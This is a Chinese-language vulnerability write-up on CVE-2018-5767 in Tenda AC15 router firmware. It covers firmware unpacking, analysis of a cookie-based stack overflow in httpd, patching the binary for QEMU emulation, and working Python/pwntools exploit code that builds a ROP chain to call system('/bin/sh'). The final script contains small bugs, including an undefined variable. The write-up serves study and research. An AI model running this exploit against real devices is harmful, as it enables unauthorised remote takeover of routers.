分析
cve-2018-5767位置在bin/httpd中。首先下载该固件,链接如下:
1 | https: / / drivers.softpedia.com / get / Router - Switch - Access - Point / Tenda / Tenda - AC15 - Router - Firmware - 1503116.shtml
|
下载过后使用binwalk大概判断一下该固件是否进行了加密:
1 2 | binwalk - A US_AC15V1. 0BR_V15 . 03.1 . 16_multi_TD01 . bin
binwalk - M US_AC15V1. 0BR_V15 . 03.1 . 16_multi_TD01 . bin
|
如果上面的指令可以分析出固件的架构等一些信息,那么这个固件基本就不会是加密的,也可以使用010editor看一下,如果一堆乱码没有可见字符,那么大概率是加密了。使用binwalk直接解包:
1 | binwalk - Me US_AC15V1. 0BR_V15 . 03.1 . 16_multi_TD01 . bin
|
使用file命令和checksec命令检查一下httpd:
可以看到httpd是一个ARM架构的32位小端序程序,除了NX保护以为其他的所有都没有开。
导致cve-2018-5767的函数是httpd中的 R7WebSceurityHandler函数,在R7WebSceurityHandler函数中有一段代码如下:
可以看到sscanf中的格式字符串是一个类似正则表达式的字符串:
1 2 3 | % * [^ = ] = % [^;]; *
% * 代表过滤也就是前面的都不要
= % [^;]; * 这部分表示 = 号后分号前的内容
|
也就是说这里就是去password的值,如果没有password的话,就把a1+184处第一个=后面的值赋值给v34,这本身没有什么问题,但是有问题的是没有对这个获取到的字符串进行长度的验证,因为v34只有128字节,通过IDA静态的看R7WebsSecurityHandler的栈,v34这个数组距离栈底也只有448字节,这很容易就溢出了,从而被控制PC寄存器导致被控制执行流。但是想要执行到这一步还需要满足程序的一些条件:
可以看到有很多条件”
- 前8个字节不能是"/public/"、前6个字节不能是"/lang/"、前12字节不能是"/favicon.ico"、前10字节不能是"/kns-query"、前11个字节不能是"/wdinfo.php"、前20字节不能是"/goform/fast_setting"、前11字节不能是"/goform/ate"、前19字节不能是"/goform/InsertWhite"、前15字节不能是"/yun_safe.html"、前27字节不能是"/goform/getWanConnectStatus"、前18字节不能是"/goform/getProduct"、前25字节不能是"/goform/getRebootStatus"
- 不能包含"img/main-logo.png"、"reasy-ui-1.0.3.js"、
- (_DWORD )(a1 + 152)处必须存在,不能为空
- s1的长度不能是1或者第一个字符的十进制形式不能是47也就是"/"
- 前15字节不是"/goform/telnet"或者g_Pass存在并且不等于字符串"YWRtaW4="
- i <=2或者前15字节不是"/loginerr.html"
- 前11个字节不是"/index.html",不进入if语句
满足上面的条件即可进入内部。那么只需要去构造一个满足上面条件的url就可以了,比如""/gorform/exec"
固件模拟
使用qemu把httpd模拟起来,看看其运行起来会输出什么、监听哪些端口等,把qemu的qemu-arm-static复制到squashfs-root目录下,执行以下命令:
1 | sudo chroot . . / qemu - arm - static . / bin / httpd
|
模拟结果如下图;
好像是卡住了。去IDA中看一下这里是怎么回事,输出完这个字符串后会进入一个循环,如下图:
从图中可以看出,如果check_network(v18) <= 0成立的话,这里就会是一个死循环,从这个函数的名字来看可能是检查网络的,因为模拟的时候没有给qemu设置网络,所以这个函数如果网络检查不过的话就会返回小于等于0的数让程序无限循环,直到网络检测通过。因此要解决这个循环有两种方法:
- patch程序,把这个地方的检查改掉。
- 为qemu设置网络。
这里的汇编代码如下图:
根据上面的汇编代码有两种改法:
- 修改check_network函数的返回值,即把MOV R3, R0改掉,把R0改为一个立即数,这个立即数大于0即可。
- 修改BGT指令,BGT指令是大于跳转,那么把这个指令改为小于跳转(BLE)即可。
这里用第二中方法,edit->Patch program->change byte:
把前四字节转为ARM指令后:
可以看出来是根据偏移跳转到了距离0x10出的0x2CFA8的位置,那么把bgt改为ble,然后把16进制码按照小端序的方式替换掉前四字节,然后确定,可以看到BGT指令已经替换为了BLE指令:
然后edit->Patch program->Apply patches to into file保存patch到文件中,然后替换没有patch的程序,然后再次模拟:
又报错了,伪代码中使用ConnectCfm函数进行了检查:
如果检查不通过则:
因此这里把他patch掉就好了,跟上面一样,两种方法都可以,这次修改传入R3寄存器的值为立即数1:
然后把patch保存到程序中,再次仿真模拟:
已经不再报错了,但是监听的IP错了,Google了一下貌似是得设置成桥接,如下:
1 2 3 4 5 6 | sudo apt install uml - utilities bridge - utils
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 up
sudo dhclient br0
chroot . / . / qemu - arm - static . / bin / httpd
|
执行完上面的命令后就设置好桥接的网络了,但是如果直接用打过第一个patch的程序是会无限循环的,因为已经设置了网络了不需要那个patch,所以这里的程序是没有打第一个patch但是打了第二个patch的程序。模拟结果:
可以看到正常监听端口并且监听了正确的IP,访问这个URL:
可以正常访问,到此httpd程序成功仿真模拟。
漏洞利用
在R7WebSceurityHandler的伪代码中如下:
上图画线的地方是cookie的位置,因此需要构造cookie字段那种的password,然后下面有检查了是否有gif、png、js等字符,否则就会进入if语句,这里不需要进去,先使用qemu启动起来,使用gdb调试,如下命令:
1 2 3 4 5 6 | sudo chroot . / . / qemu - arm - static - g 9999 . / bin / httpd
gdb - multiarch - q
set endian little
set architecture arm
target remote 127.0 . 0.1 : 9999
c
|
构造代码,这里:
1 2 3 4 5 6 7 8 9 10 11 | from pwn import *
import requests
context.arch = 'arm'
payload = str (cyclic( 500 ), 'utf-8' ) + '.pngbbbb'
url = "http://192.168.153.128:81/goform/exec"
headers = { 'Cookie' : "password=" + payload}
requests.get(url = url, headers = headers)
|
运行代码,gdb中的PC寄存器的值如下:
从图中可以看到PC寄存器的值被改为了0x6561616c,即laae,使用pwntools中的cyclic_find函数查找:
可见偏移是444字节。确定了偏移,那么现在就可以ROP了,因为libc每次加载时会有一个偏移,在真实环境中这个偏移地址是可以爆破的,得到libc的地址后libc加载的基地址加上libc中函数的地址得到想要执行的函数的地址,然后用到了两个gadget:
1 2 3 4 5 6 | ROPgadget - - binary . / lib / libc.so. 0 - - only "mov|blx" | grep "mov r0, sp"
mov r0, sp;
blx r3;
ROPgadget - - binary . / lib / libc.so. 0 - - only "pop" | grep "pop {r3, pc}"
pop {r3, pc};
|
那么现在需要确定libc加载的基地址,使用vmmap命令可以查看libc的基地址,好像调试也可以获取,第一个gadget是将sp放入到r0中,即传入一个参数,然后使用blx调用r3中的函数,第二个gadget为将PC寄存器的地址弹入r3寄存器当中。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | import requests
from pwn import *
context.arch = 'arm'
context.log_level = 'debug'
libc_base = 0x409af000
libc = ELF( './lib/libc.so.0' )
system_addr = base + libc.sym[ 'system' ]
str1 = b "/bin/sh\x00"
mov_r0_addr = libc_base + 0x00040cb8
pop_r3_addr = libc_base + 0x00018298
url = "http://192.168.153.128:81/goform/exec"
payload = b 'a' * 444 + b ".gif" + p32(pop_r3_addr) + p32(system_addr) + p32(mov_r0_addr) + str1
headers = { "Cookie" : b "password=" + payload}
requests.get(url = url, cookies = cookie)
|
参考
https://xz.aliyun.com/t/7357
https://www.freebuf.com/articles/wireless/166869.html
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)